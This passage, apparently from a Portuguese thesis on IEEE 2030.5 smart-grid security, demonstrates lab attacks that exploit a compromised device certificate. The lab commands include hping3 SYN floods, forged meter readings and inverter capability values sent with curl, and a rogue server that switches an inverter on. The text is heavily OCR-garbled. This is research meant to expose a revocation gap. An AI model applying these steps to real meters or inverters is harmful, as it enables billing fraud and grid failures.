0:21:37] "GET /tp/1/rc/1/tti/e
écti?l=1 HTTP/1.1" 200 -

Date: Thu, 25 Feb 2021 20:21:37 GMT

* Re-using existing connection! (#0) with host 10.211.55.9 * Debug mode: off

* Connected to 10.211.55.9 (10.211.55.9) port 8443 (#0) * Running on https://0.0.0.0:
> GET /tp/1/rc/1/tti/@/cti?1l=1 HTTP/1.1 8443/ (Press CTRL+C to quit)

> Host: 10.211.55.9:8443 10.211.55.7 - - [25/Feb/2021 2
> User-Agent: curl/7.68.0 0:21:37] "GET /tp HTTP/1.1" 20
> Accept: application/sep+xml; level=-S1 0 -

> 10.211.55.7 - - [25/Feb/2021 2
* Mark bundle as not supporting multiuse 0:21:37] "GET /tp/1/rc?1=1 HTT
< HTTP/1.1 200 0K P/1.1" 200 -

< Content-Type: application/sep+xml 10.211.55.7 - - [25/Feb/2021 2
<

<

<

<

<ConsumptionTariffIntervallList all="1" href="/tp/1/rc/1/tti/@/cti" result
s="1" xmlns="urn:ieee:std:2030.5:ns">
<ConsumptionTariffInterval href="/tp/1/rc/1/tti/@/cti/0">

<consumptionBlock>1</consumptionBlock>
price>105000</price>|
<startValue>0</startValue>

</ConsumptionTariffInterval>
</ConsumptionTariffIntervallist>
* Connection #0 to host 10.211.55.9 left intact
client@client:~/IEEE-2030.5-Client$

(B) Trecho final

Figura 5.22: Envio de preco alterado da energia para medidor inteligente
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turamente, a concessionaria pode vir a consultar o HEMS a fim de obter os valores de
medicao para composicao da fatura a ser paga. Com isso, os valores a serem pagos nao

irao condizer com a realidade o que pode causar prejuizos financeiros a concessionaria.

Para isso, o atacante, de posse do computador local, inicia um ataque DoS contra o
medidor inteligente a fim de impedir que ele se comunique com o HEMS para registro dos

valores reais de medigao.

HEMS

(servidor)
@ |- Ataque DoS ‘ ﬁ
—
Computador Medidor
(dispositivo local) Inteligente

(cliente)

Figura 5.23: Cenario ataque ao medidor inteligente

A Figura 5.23 apresenta esse cenario de ataque. Ele é feito com o uso da ferramenta
HPING3, onde o atacante direciona o ataque ao medidor inteligente de forma a impedir

que ele consiga receber ou enviar solicitagoes de comunicacao.

A demonstracao desse ataque é apresentada na Figura 5.24. Nela, é possivel notar que
o computador local (server-devil) direciona o ataque contra o medidor inteligente (client)
de forma a impedir que ele se comunique com o HEMS (server) para enviar as informagoes

de medicoes corretas.

A partir de entao, o atacante de posse do computador local e utilizando a chave
privada e o certificado digital do medidor inteligente, inicia a comunicagao com o HEMS

para enviar informacoes falsas de medicao.

Primeiramente, eles realizam a autenticacao mitua. O atacante apresenta o certificado

digital do medidor inteligente o qual é de conhecimento do HEMS e, por isso, ele é
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server@server:~/server$ python3 resources.py
* Serving Flask app "resources" (lazy loading) HEMS
% Environment: production

WARNING: This is a development server. Do not use it in a production deployment.

* Debug mode: off
* Running on https://0.0.0.0:8443/ (Press CTRL+C to quit)

[ X ] danilo — client@client: ~/IEEE-2030.5-Client — ssh -R 52698:l..

server-devil@server—-devil:~/test-devil$ sudo hping3 --s/@liclient@client:~/IEEE-2030.5-Client$ curl -i --c

yn —--flood 10.211.55.7 ert pti_dev.crt --key pti_dev.pem --cacert ../C
HPING 10.211.55.7 (enp@s2 10.211.55.7): S set, 40 heade |l SEP_Root_Danilo.crt -k -H "Accept: application/
rs + @ data bytes sep+xml; level=-S1" -H "Content-type: text/xml"
hping in flood mode, no replies will be shown -d 'Cmeter_reading.xml' https://10.211.55.6:84
43/mup/@
Computador Local Medidor Inteligente

Figura 5.24: Demonstracao ataque ao medidor inteligente

autenticado sem maiores problemas. Logo em seguida, o atacante envia uma medi¢ao com
valor adulterado (valor igual a 5) que nao condiz com o valor apresentado na comunicagao
sem comprometimento de certificado digital (valor igual a 9). O HEMS, por acreditar no
certificado digital apresentado, aceita o valor da medi¢ao e o registra de forma que a

concessionaria possa fazer a leitura em um momento futuro.

O envio de um valor adulterado de medigao é apresentado na Figura 5.25. Primei-
ramente, ¢ mostrado o valor falso da medicao a ser enviado. Logo em seguida ¢ iniciada
a autenticacao mutua e o envio da informacao adulterada. Posteriormente é feita uma

requisicao GET para confirmar o novo valor registrado no HEMS.

Com isso, uma vez comprometido o certificado digital do medidor inteligente, falsas
medicoes podem ser enviadas para o HEMS. Posteriormente, essas medigoes falsas serao
utilizadas pela concessionéria para gerar a fatura a ser paga, o que pode levar a mesma a

ter prejuizos financeiros.

5.7.7 Cenario adicional — comprometimento de certificado digital
envolvendo ambiente composto por DER

Esse cenario visa abordar o problema da lacuna de seguranca em um ambiente composto
por DER. A topologia de teste utilizada nos cenérios anteriores é estendida de forma a
contemplar a comunicagao com os servidores da concessionaria. O medidor inteligente
é substituido por um inversor inteligente representado pela mesma méaquina virtual que

representa o medidor inteligente (méquina “client”).
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) danilo — server-devil@

server-devil@server—-devil:~/test-devil$ cat meter_reading_fake.xml
<MirrorMeterReading xmlns="urn:ieee:std:2030.5:ns">
<mRID>0800006CC8</mRID>
<MirrorReadingSet>
<mRID>0900006CC8</mRID>
<timePeriod>
<duration>86400</duration>
<start>1341579365</start>
</timePeriod>
<Reading>
<localID>@0</localID>
</Reading>
</MirrorReadingSet>
</MirrorMeterReading>

server-devil@server-devil:~/test-devil$ curl -v --cert ../pti_dev.crt —--ke

y ../pti_dev.pem --cacert ../csep_root_danilo.pem -k -H "Accept: applicati

on/sep+xml; level=-S1" -H "Content-type: text/xml" -d 'Cmeter_reading_fake

.xml' https://10.211.55.6:8443/mup/0@

Trying 10.211.55.6:8443...

TCP_NODELAY set

Connected to 10.211.55.6 (10.211.55.6) port 8443 (#0)

ALPN, offering h2

ALPN, offering http/1.1

successfully set certificate verify locations:

CAfile: ../csep_root_danilo.pem

CApath: /etc/ssl/certs

TLSv1.3 (OUT), TLS handshake, Client hello (1):

TLSv1.3 (IN), TLS handshake, Server hello (2):

TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):

TLSv1.3 (IN), TLS handshake, Request CERT (13):

TLSv1.3 (IN), TLS handshake, Certificate (11):
3
3
3
3
3

L B B R

TLSv1.3 (IN), TLS handshake, CERT verify (15):
TLSv1.3 (IN), TLS handshake, Finished (20):
TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
TLSv1.3 (OUT), TLS handshake, Certificate (11):
TLSv1.3 (OUT), TLS handshake, CERT verify (15):
TLSv1.3 (OUT), TLS handshake, Finished (20):

SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
ALPN, server did not agree to a protocol

Server certificate:

subject: [NONE]

start date: Feb 11 17:01:00 2021 GMT

expire date: Dec 31 23:59:59 9999 GMT

issuer: 0=CSEP; CN=CSEP_Root_Danilo; serialNumber=1

*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
* [SSL certificate verify ok.]
>
>
>
>
>
>
>
*
*
*
*
*
<
<
<
<
<
<
<
*
s

POST /mup/@ HTTP/1.1

Host: 10.211.55.6:8443

User-Agent: curl/7.68.0

Accept: application/sep+xml; level=-S1
Content-type: text/xml

Content-Length: 312

upload completely sent off: 312 out of 312 bytes
TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
old SSL session ID is stale, removing

Mark bundle as not supporting multiuse
HTTP/1.1 201 CREATED

Content-Type: application/sep+xml

Location: https://10.211.55.6:8443/upt/1/mr
Content-Length: ©

Server: Werkzeug/1.0.1 Python/3.8.5

Date: Thu, 25 Feb 2021 20:31:13 GMT

Connection #@ to host 10.211.55.6 left intact
erver-devil@server-devil:~/test-devil$

ssh -R 52698:localhost:526

° danilo — server-devil@server-devil: ~[test-dev

server-devil@server—devil:~/test-devil$ curl -i --cert ../pti_dev.crt --ke
y ../pti_dev.pem --cacert ../csep_root_danilo.pem -k -H "Accept: applicati
on/sep+xml; level=-S1" -H "Content-type: text/xml" https://10.211.55.6:844
3/upt/1/mr

HTTP/1.1 200 OK

Content-Type: application/sep+xml

Content-Length: 325

Server: Werkzeug/1.0.1 Python/3.8.5

Date: Thu, 25 Feb 2021 20:47:46 GMT

<MirrorMeterReading xmlns="urn:ieee:std:2030.5:ns">
<mRID>0800006CC8</mRID>
<MirrorReadingSet>
<mRID>0900006CC8</mRID>
<timePeriod>
<duration>86400</duration>
<start>1341579365</start>
</timePeriod>
<Reading>
<localID>0@0</localID>
</Reading>
</MirrorReadingSet>
</MirrorMeterReading>server-devil@server-devil:~/test-devil$ [J

erver-devil: ~[test-devil — ssh -R 52698:localhost:52698 server-devil@10.211.5...

erver-devil@10.211.5...

server@server:~/server$ pytho
n3 resources.py

* Serving Flask app "resourc
es" (lazy loading)

* Environment: production

WARNING: This is a develop

ment server. Do not use it in

a production deployment.

er
* Debug mode: off
* Running on https://0.0.0.0
18443/ (Press CTRL+C to quit)
10.211.55.9 - - [25/Feb/2021
20:31:13] "POST /mup/@ HTTP/1
" 201 -

server@server:~/server$ pytho
n3 resources.py

* Serving Flask app "resourc
es" (lazy loading)

% Environment: production

WARNING: This is a develop

ment server. Do not use it in
a production deployment.

er
* Debug mode: off
* Running on https://0.0.0.0
18443/ (Press CTRL+C to quit)
10.211.55.9 - - [25/Feb/2021
20:47:38] "POST /mup/@ HTTP/1
pl" 201 -
10.211.55.9 - - [25/Feb/2021
20:47:46] "GET /upt/1/mr HTTP
/1.1" 200 -

Figura 5.25: Envio de medigao falsa para o HEMS

a
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Como visto anteriormente, o uso particular do padrao IEEE 2030.5 no ambiente das
DERs é consolidado no CSIP. Ele contém os requisitos, forma de implementacao e o tipo
de informagao trocada entre a concessionéria e a DER. No caso do ambiente residencial,

a DER é logicamente representada pelo inversor inteligente.

O inversor inteligente é quem controla a producao e a liberagao da energia produzida
nos painéis solares. E ele quem ativa/desativa o envio de energia tanto para a rede da
concessionaria quanto para a rede residencial. Além disso, ele promove o gerenciamento
eficiente de forma, que caso o quantitativo de energia produzida pelos painéis solares nao
seja suficiente para suprir a demanda da residéncia, ele permita que o quantitativo que

falta seja suprido pela rede da concessionaria.

Dentre os conjuntos de fungoes utilizados pelo inversor inteligente, esta o conjunto
Distributed Energy Resources. Esse conjunto de func¢oes contém recursos que permitem
o gerenciamento e o controle das DERs. Especificamente, os recursos DERControl e
Default DERControl permitem tal controle e gerenciamento. O DERControl contém atri-
butos que permitem monitorar e controlar a DER (e.g., status de conexao e voltagem)
em determinado intervalo de tempo definido. J& o Default DERControl permite o mesmo
controle e monitoramento de forma que é ativado quando nao ha nenhum outro DER-
Control ativo naquele determinado momento. Ou seja, caso tenha um DERControl em
atividade ele é quem controla e gerencia a DER, caso nao tenha, o DefaultDERControl
é quem controla e gerencia. A depender da necessidade, a concessionaria pode fazer uso
apenas do DefaultDERControl para controlar e gerenciar as DERs de forma a simplificar

a operacao.

L4
E N
— HEMS
Internet (servidor)

~L ]
=

Computador Inversor

(dispositivo local Inteligente
(cliente)

Servidor
IEEE 2030.5
Concessionaria

Figura 5.26: Inversor inteligente integrado a concessionaria
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A Figura 5.26 apresenta a topologia de teste estendida a ser utilizada nesse cenério
adicional. Nela, a HAN esta interligada aos servidores da concessionaria o que permite
que ela seja gerenciada e controlada pela concessionaria. No caso especifico evolvendo o
controle e a gerencia do inversor inteligente, a concessionaria envia o DefaultDERControl
para o HEMS e este, por sua vez, repassa para o inversor inteligente. Também é repassada
a informacao do pollRate que define o intervalo de tempo no qual o inversor inteligente deve
se comunicar com o HEMS para verificar se ha alguma alteracao no “ Default DERControl”.
Conforme previsto no CSIP, a DER ¢é responsavel por garantir que todas as operagoes

recebidas do HEMS serao processadas de forma adequada.

danilo — client@client: ~/IEEE-2030.5-Client — ssh -R 52698:localhost:52698 client@10.211.55....

client@client:~/IEEE-2030.5-Client$ curl --cert pti_dev.crt —-k
ey pti_dev.pem --cacert ../CSEP_Root_Danilo.crt -k -H "Accept:
application/sep+xml; level=-S1" https://10.211.55.6:8443/A1/der
p/1/dderc
<DefaultDERControl hre="/Al/derp/l/dderc" xmlns="urn:ieee:std:2
030.5:ns">

<mRID>A0000001</mRID>

<description>Default DER</description>

<DERControlBase>

|<opModEnergize>0</opModEnergize>
<opModMax[imW>2000</opModMaxLimW>

</DERControlBase>
</DefaultDERControl>
client@client:~/IEEE-2030.5-Client$ curl --cert pti_dev.crt —-k
ey pti_dev.pem --cacert ../CSEP_Root_Danilo.crt -k -H "Accept:
application/sep+xml; level=-S1" https://10.211.55.6:8443/A1/der
p/1/dderc
<DefaultDERControl hre="/Al/derp/1/dderc" xmlns="urn:ieee:std:2
030.5:ns">

<mRID>A0000001</mRID>

<description>Default DER</description>

[server@server:~/server$ python3

resources.py

* Serving Flask app "resources
" (lazy loading)

% Environment: production

WARNING: This is a developme

nt server. Do not use it in a p
roduction deployment.

* Debug mode: on

* Running on https://0.0.0.0:8
443/ (Press CTRL+C to quit)

* Restarting with stat

* Debugger is active!

* Debugger PIN: 320-847-567
10.211.55.7 - - [02/Apr/2021 23
$24:35] "GET /Al/derp/1/dderc H
TTP/1.1" 200 -
10.211.55.7 - - [02/Apr/2021 23
:24:46] "GET /Al/derp/1/dderc H

<DERControlBase> TTP/1.1" 200 -
|<opModEnergize>1</opModEnergize> 10.211.55.7 - - [02/Apr/2021 23
<opModMaxLimwW>2000</opModMaxLimw> $24:54] "GET /Al/derp/1/dderc H
</DERControlBase> TTP/1.1" 200 -
</DefaultDERControl>

client@client:~/IEEE-2030.5-Client$ curl --cert pti_dev.crt —-k
ey pti_dev.pem —--cacert ../CSEP_Root_Danilo.crt -k -H "Accept:
application/sep+xml; level=-S1" https://10.211.55.6:8443/A1/der
p/1/dderc
<DefaultDERControl hre="/Al/derp/1/dderc" xmlns="urn:ieee:std:2
030.5:ns">
<mRID>A0000001</mRID>
<description>Default DER</description>
<DERControlBase>
<opModEnergize>0</opModEnergize>
<opModMaxLimW>2000</opModMaxLimw>
</DERControlBase>
</DefaultDERControl>
flient@client:~/IEEE—2939.5—Client$ |

Figura 5.27: Alteracao do atributo para conectar inversor inteligente

Em determinado momento, a concessionéria, percebendo que h&d um excedente de
energia produzido pelos painéis solares que nao esta sendo consumido pela residéncia, ativa
o inversor inteligente de forma que ele fornega esse excedente para a rede da concessionéaria.
Para isso, a concessionéria ativa o atributo opModEnergize no recurso DefaultDERControl.
O inversor inteligente, ao consultar o HEMS, recebe a alteragao no Default DERControl e

a implementa.

A Figura 5.27 apresenta essa dindmica. FE em um primeiro momento o inversor inte-
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ligente consulta o HEMS e configura seus parametros conforme definido no DefaultDER-
Control. Ao fim do pollRate, o inversor realiza nova consulta ao HEMS para verificar se
ha alguma alteracao a ser executada. Ao receber a informacao de alteragao no atributo
opModEnergize, o inversor inteligente ativa o envio do excedente de energia para a rede da
concessionaria ajudando a suprir a demanda em outros lugares de forma a nao permitir
que falhas relacionadas a sobrecargas venham a ocorrer. Uma vez suprida a demanda
de energia, a concessionéaria pode alterar novamente o atributo de modo a desativar o
inversor inteligente para que ele nao mais envie o excedente de energia para a rede da

concessionaria. Com isso, a concessionaria mantém a estabilidade na rede elétrica.

@
P>

HEMS
Internet ysb (servidor)
— e
Computador Inversor
(dispositivo local Inteligente
(cliente)

Servidor
IEEE 2030.5
Concessionaria

server@server:~/server$ python3 resources.py
* Serving Flask app "resources" (lazy loading) HEMS
% Environment: production

WARNING: This is a development server. Do not use it in a production deployment.

* Debug mode: on

* Running on https://0.0.0.0:8443/ (Press CTRL+C to quit)
* Restarting with stat

* Debugger is active!

* Debugger PIN: 320-847-567

danilo — server-devil@server-devil: ~ — ssh -R 52698:localhost..

server-devil@server-devil:~$ sudo hping3 -S
——flood -V -p 8443 10.211.55.6

using eth@, addr: 10.211.55.9, MTU: 1500
HPING 10.211.55.6 (eth® 10.211.55.6): S set,
40 headers + 0@ data bytes

hping in flood mode, no replies will be show
n

|
Computador Local

client@client:~/IEEE-2030.5-Client$ curl --cert

pti_dev.crt --key pti_dev.pem --cacert ../CSEP
_Root_Danilo.crt -k -H "Accept: application/sep
+xml; level=-S1" https://10.211.55.6:8443/A1/de
rp/1/dderc

Inversor Intelingente

Figura 5.28: Ataque em ambiente DER

Nesse contexto, um atacante de posse da chave privada do certificado digital do HEMS

e controlando o computador local pode iniciar um ataque DoS contra o HEMS de forma a
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impedir que o inversor inteligente se comunique com ele. Com isso, o inversor nao recebe
a informacao se houve ou nao alguma alteracao no DefaultDERControl. A Figura 5.28
apresenta na parte superior esse cenéario de ataque DoS contra o HEMS e na parte inferior

apresenta na pratica a realizacao desse ataque.

Com a impossibilidade de comunicagao entre HEMS e inversor inteligente, o atacante,
fazendo uso do certificado digital do HEMS, comega a se comunicar com o inversor inte-
ligente. A autenticagdo mutua entre ambos é feita sem maiores problemas. A partir de
entao, o inversor inteligente comeca a interagir com o computador local e a consumir os
recursos por ele disponibilizados. Dentre os recursos disponibilizados esta o Default DER-

Control, no qual o atacante pode controlar o inversor inteligente.

Em determinado momento anterior ao ataque DoS, a concessionaria, por nao mais
necessitar da energia proveniente do inversor inteligente, desativou o atributo opModFE-
nergize. Ja sob o ataque DoS, o atacante, que agora se comunica com o inversor inteligente,
pode alterar o opModEnergize de forma a ativar novamente o envio de energia para a rede
da concessionaria. A Figura 5.29 apresenta essa interagao entre atacante e inversor in-
teligente de modo a promover a alteracao do atributo opModEnergize. Em um primeiro
momento o inversor consulta o DefaultDERControl presente no computador local e ve-
rifica que o atributo opModEnergize esta desativado da mesma forma que anteriormente
havia sido designado pela concessionaria. Logo em seguida, o atacante altera o atributo de
forma a ativa-lo. Com isso, o inversor inteligente, ao consultar novamente o recurso ao fim

do poolRate, recebe a alteracao e ativa o envio de energia para a rede da concessionaria.

@ @ i danilo — client@client: ~/IEEE-2030.5-Client — ssh -R 52698:localhost:52698 client@10.211.55..

client@client:~/IEEE-2030.5-Client$ curl —--cert pti_dev.crt ——k[@server-devil@server-devil:~/test-devil$ python3
ey pti_dev.pem --cacert ../CSEP_Root_Danilo.crt -k -H "Accept: devil2.py
application/sep+xml; level=-S1" https://10.211.55.9:8443/A1/der * Serving Flask app "devil2" (lazy loading)

p/1/dderc * Environment: production
<DefaultDERControl hre="/Al/derp/1/dderc" xmlns="urn:ieee:std:2 WARNING: This is a development server. Do not
030.5:ns"> use it in a production deployment.
<mRID>A0000001</mRID>
<description>Default DER</description> * Debug mode: on
<DERControlBase> * Running on https://0.0.0.0:8443/ (Press CTRL+
I<opModEnergize>0</opModEnergize> C to quit)
<opModMaxLimw>2000</opModMaxLimw> * Restarting with stat
</DERControlBase> * Debugger is active!
</DefaultDERControl> * Debugger PIN: 129-179-578
client@client:~/IEEE-2030.5-Client$ curl —-cert pti_dev.crt —-k/|10.211.55.7 - - [03/Apr/2021 00:24:49] "GET /Al/
ey pti_dev.pem --cacert ../CSEP_Root_Danilo.crt -k -H "Accept: derp/1/dderc HTTP/1.1" 200 -
application/sep+xml; level=-S1" https://10.211.55.9:8443/A1/der 8110.211.55.7 - - [03/Apr/2021 00:24:59] "GET /Al/
p/1/dderc derp/1/dderc HTTP/1.1" 200 -
<DefaultDERControl hre="/Al/derp/1/dderc" xmlns="urn:ieee:std:2
030.5:ns">

<mRID>A0000001</mRID>
<description>Default DER</description>
<DERControlBase>
[<opModEnergize>1</opModEnergize>|
<opModMaxLimw>2000</opModMaxLimw>
</DERControlBase>
</DefaultDERControl>
client@client:~/IEEE-2030.5-Client$

Figura 5.29: Ataque para ativagao inversor inteligente

A depender quantidade de energia a ser enviada para a rede elétrica com a ativagao

do inversor inteligente, a rede elétrica da concessionaria pode nao estar preparada para
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suportar a alta quantidade de energia entrante. Com isso, falhas na rede elétrica podem
ocorrer de forma a causar tanto prejuizos a concessionaria quanto aos demais consumido-

res.

De modo semelhante ao comprometimento do certificado do medidor inteligente, caso
um inversor inteligente tenha seu certificado comprometido, o atacante, de posse da chave
privada, pode inciar um ataque DoS contra o inversor inteligente impedindo que o mesmo
se comunique com o HEMS. Com isso, o atacante, fazendo uso do certificado digital do
inversor inteligente, inicia uma comunicagao com o HEMS apresentando tal certificado
que ird ser validado e autenticado. Logo em seguida o atacante, se passando pelo in-
versor inteligente, comega a enviar informagoes falsas (e.g., capacidade energética, status

operacional e alarmes) que sao registradas no HEMS e repassadas a concessionéria.

Por exemplo, um inversor inteligente possui capacidade de fornecer no méximo 20
amperes de corrente elétrica. Essa informacao é repassada ao HEMS por meio do método
POST utilizando o atributo rtgA presente no recurso DERCapability. Tal informacao é
repassada a concessionéria e ela a utiliza para tomada de decisao que visa promover a
estabilidade da rede. Em determinado momento, o atacante, de posse da chave privada
do certificado digital do inversor inteligente, comeca um ataque DoS contra o inversor
nos mesmos moldes do ataque apresentado contra o medidor inteligente. Dessa forma, o
inversor fica impossibilitado de comunicar com o HEMS. Logo em seguida, o atacante ini-
cia a comunicagao com o HEMS apresentando o certificado digital do inversor inteligente.
Realizada a autenticacao, o atacante envia uma informagao falsa alterando o atributo rtgA
para um valor superior a real capacidade do inversor. Com isso, se utilizando da informa-
¢ao falsa, a concessionéria adéqua a capacidade energética da rede de forma equivocada

o que pode levar a falhas.

Tal dinamica é apresentada na Figura 5.30. Nela, em um primeiro momento, o ata-
cante, se passando pelo inversor inteligente, realiza uma consulta para saber qual o real
valor da sua capacidade de corrente elétrica (rtgA) que esté registrado no HEMS — que no
caso é 20. Recebendo a informacao, o atacante gera um novo valor (44) que sera enviado
ao HEMS — via método POST — e, posteriormente, a concessionaria. A concessionaria,
recebendo o valor falso, entende que, com tal capacidade, a demanda energética pode
ser elevada e ainda seré suprida. No entanto, com o aumento da demanda, a rede nao

consegue suprir e fica sobrecarregada dando inicio as falhas.

Sendo assim, apds as demonstragoes praticas, é notavel o problema advindo da nao

revogacao e nao expiracao dos certificados digitais. Uma vez comprometido, o certificado
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danilo — server-devil@server-devil: ~[test-devil — ssh -R 52698:localhost:52698 server-...

server-devil@server-devil:~/test-devil$ curl --cert ../pti_
dev.crt --key ../pti_dev.pem --cacert ../csep_root_danilo.p
em -k -H "Accept: application/sep+xml; level=-S1" -H "Conte
nt-type: text/xml" https://10.211.55.6:8443/edev/3/der/1/de
rcap
<DERCApability xmlns="urn:ieee:std:2030.5:ns">

<modesSupported>3FFFFF</modesSupported>

<rtgA>

<multiplier>0</multiplier>

</rtgA>
</DERCApability>
server-devil@Pserver-devil:~/test-devil$ curl --cert ../pti_
dev.crt —-key ../pti_dev.pem --cacert ../csep_root_danilo.p
em -k -H "Accept: application/sep+xml; level=-S1" -H "Conte
nt-type: text/xml" -d |@fake_der_capability.xml'| https://10
.211.55.6:8443/edev/3/der/1/dercap
server-devil@Pserver-devil:~/test-devil$ curl --cert ../pti_
dev.crt —-key ../pti_dev.pem —--cacert ../csep_root_danilo.p
em -k —-H "Accept: application/sep+xml; level=-S1" -H "Conte
nt-type: text/xml" https://10.211.55.6:8443/edev/3/der/1/de
rcap
<DERCApability xmlns="urn:ieee:std:2030.5:ns">

<modesSupported>3FFFFF</modesSupported>

<rtgA>

<multiplier>0</multiplier>

<value>44</value
</rtgA>
</DERCApability>server-devil@server-devil:~/test-devil$ []

[server@server:~/server$ python3
resources.py

* Serving Flask app "resources"

(lazy loading)

* Environment: production

WARNING: This is a developmen

t server. Do not use it in a pro
duction deployment.

in

* Debug mode: on

* Running on https://0.0.0.0:84
43/ (Press CTRL+C to quit)

* Restarting with stat

* Debugger is active!

* Debugger PIN: 482-605-125
10.211.55.9 - - [03/Apr/2021 22:
26:46]1 "GET /edev/3/der/1/dercap

HTTP/1.1" 200 -
10.211.55.9 - - [03/Apr/2021 22:
27:00] "POST /edev/3/der/1/derca
p HTTP/1.1" 201 -
10.211.55.9 - - [03/Apr/2021 22:
27:24] "GET /edev/3/der/1/dercap

HTTP/1.1" 200 -

Figura 5.30: Envio de informacao de falsa capacidade da DER

digital pode ser usado por atacantes na realizacao nao s6 dessas atividades demonstradas

como também de diversas outras atividades maliciosas.

Sendo o mais preocupante a

inexisténcia de uma forma de inviabilizar o uso do certificado comprometido em qualquer

outro lugar por qualquer outro dispositivo.
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Conclusao

Esse trabalho promoveu um estudo detalhado sobre o IEEE 2030.5-2018 — padrao que visa
atender as necessidades de interoperabilidade, monitoramento e controle dos dispositivos
inteligentes no ambiente de energia do usuario — abordando tanto aspectos arquiteturais
e técnicos da comunicagao quanto questoes relacionadas a seguranga. Além disso, também
foi apresentado um mapeamento do modelo de dados do padrao para casos de uso reais
juntamente com uma prova de conceito que visa demonstrar uma lacuna de seguranca

existente na Manufacturing PKI

O padrao faz uso extensivo de uma interface RESTful e foi projetado para funcionar
com qualquer tecnologia de comunica¢ao que suporte a pilha de protocolo TCP/IP, o
que permite implementagoes em grande escala e em diferentes ambientes. Ele também
nao esta restrito apenas ao dominio elétrico, embora tenha sido aplicado principalmente
nesse contexto até o momento. O grande ntumero de conjuntos de fungoes definidos no
padrao permite maior controle e gerenciamento dos dispositivos inteligentes e proporciona
uma melhor experiéncia para os usuarios proprietarios de tais dispositivos. Essa interacao
também se estende para fora do ambito das residéncias, uma vez que o padrao também

permite que as concessionérias fagam a gestao do ambiente doméstico do usuério.

A escolha do seu uso dentro do programa California’s Rule 21 destacou o potencial
disruptivo do TEEE 2030.5-2018. Adicionalmente, motivou uma revisao da norma de
forma a responder as necessidades do programa e para promover uma melhor integragao
e suporte com os recursos energéticos distribuidos. O programa California’s Rule 21
emprega o padrao para promover a comunicacao entre os recursos de energia distribuidos
e as concessionarias, permitindo que as concessionarias os gerenciem e controlem a fim de

otimizar a demanda e o fornecimento de energia elétrica.
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Mesmo com um uso pratico tao relevante, a literatura cientifica revisando e analisando
o IEEE 2030.5 ainda é escassa, principalmente considerando a revisao de 2018. Em
particular, os aspectos de seguranca do padrao — uma parte essencial de qualquer sistema
de informac¢ao moderno — permanecem amplamente nao estudados, especialmente nos
circulos académicos. Isso se manifesta na forma de lacunas, principalmente no que diz
respeito ao manuseio dos certificados digitais. Um ponto a se destacar é a falta de suporte
para revogacao e a nao expiracao dos certificados digitais IEEE 2030.5 que representam
uma ameaca potencialmente séria. Esse problema assume uma proporc¢ao ainda maior no
contexto dos certificados digitais das MCAs e MICAs, uma vez que tais certificados sao
responséaveis pela emissao de outros certificados digitais na hierarquia da infraestrutura

de chave publica (Manufacturing PKI).

A prova de conceito realizada nesse trabalho aborda essa lacuna de seguranca e suas
possiveis consequéncias. Nela, sao apresentados cenéarios que demonstram na pratica os
problemas advindos do comprometimento do certificado digital e da sua nao revogacao e
nao expiracao. Problemas esses que vao desde prejuizos financeiros até falhas em todo o
sistema elétrico. Os dispositivos foram representados por maquinas virtuais com sistema
operacional Linux, onde, em cada méaquina, foram implementadas as funcionalidades re-
ferentes a cada dispositivo. A comunicacao segura entre um dispositivo que consome
recursos (cliente) e um dispositivo que disponibiliza recursos (servidor) foi colocada a
prova frente & possibilidade do comprometimento dos certificados digitais e foi constatada

a falha proveniente da referida lacuna de seguranca.

Embora solugbes descentralizadas de black/white lists tenham sido mencionadas para
mitigar esse problema, elas podem sofrer problemas de inconsisténcias relativas ao gerenci-
amento, uma vez que nao hé consenso sobre quem deve relatar certificados comprometidos.
Além disso, o uso de black lists pode enfrentar obstaculos de implementagao de ordem
pratica acentuados pelas restrigoes de armazenamento geralmente severas dos dispositivos

inteligentes tipicos.

Atualmente, no programa California’s Rule 21, as DERs sao configuradas previa-
mente com o LFDI dos dispositivos servidores aos quais elas irdo se conectar [11]. Ou
seja, as DERs sao dotadas de uma whitelist dos dispositivos servidores. Caso um certifi-
cado digital de um desses dispositivos servidores venha a ser comprometido, é necessario
remover o LFDI correspondente ao certificado de todas as DERs. No entanto, como visto
anteriormente, o uso tanto de whitelist quanto de blacklist esta sujeito a problemas de

inconsisténcias.
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Exigir que os fabricantes dos dispositivos fornegam meios seguros de protecao e arma-
zenamento da chave privada é visto como uma solucao a prova de falhas, uma vez que a
norma nao fornece nenhum procedimento de seguranca para resolver possiveis problemas
dessa natureza de forma geral e global. No entanto, com a evolucao da tecnologia e com
as possiveis falhas de projetos e até mesmo falhas humanas, violagoes de seguranca po-
dem ocorrer ou ser descobertas a qualquer momento, e a falta de medidas de seguranca

alternativas padronizadas pode tornar o sistema como um todo vulneravel.

Desde 2011, houve pelo menos 15 problemas em autoridades certificadoras que vieram
ao conhecimento publico [16]. Um caso de destaque ocorreu em 2018 com a autoridade
certificadora da Symantec. Naquele ano, o Google passou a nao considerar mais confiavel a
autoridade certificadora devido a falhas ocorridas na mesma que envolveram desde acesso
nao autorizado até falta de auditoria [16]. Com isso, sites que faziam uso dos certificados
digitais emitidos pela Symantec passaram a nao ser mais acessiveis pelo navegador Google
Chrome. Em 2020, em um caso mais recente, a autoridade certificadora Digicert teve que

revogar 50.000 certificados digitais devido a um erro interno no processo de emissao [13].

Se até mesmo grandes empresas que sao dedicadas ao ramo de emissao, controle e
gerenciamento de certificados digitais passam por problemas para garantir a seguranca
no processo como um todo, entao nao é razoavel esperar que fabricantes de hardware o

facam.

Sendo assim, espera-se que a industria e a academia possam colaborar em um futuro
proximo para preencher essa lacuna de forma a promover um ambiente mais seguro e com
medidas alternativas de seguranga que possam ser utilizadas caso alguma outra medida

venha a sofrer falhas.

Estudos futuros podem ser feitos visando propor uma solucao que venha a preencher
a lacuna de seguranca exposta. O uso de CRL e OCSP, em um primeiro momento,
torna-se inviavel devido aos motivos apresentados nesse trabalho. No entanto, um estudo
mais aprofundado e detalhado poderia identificar meios e alternativas para viabilizar o
uso dessas tecnologias, podendo, até mesmo, chegar ao ponto de elencar argumentos
para contrapor a tese da nao garantia de que todos os dispositivos estejam conectados a
Internet. Com isso, uma vez conectados & Internet, o uso do CRL e do OCSP torna-se
viavel. A utilizacao de moédulos criptograficos também pode fazer parte das possiveis
solugoes para preencher a lacuna de seguranca. Entretanto, é necessario um estudo mais
detalhado a fim de que haja uma perfeita implementacao do moédulo criptografico de

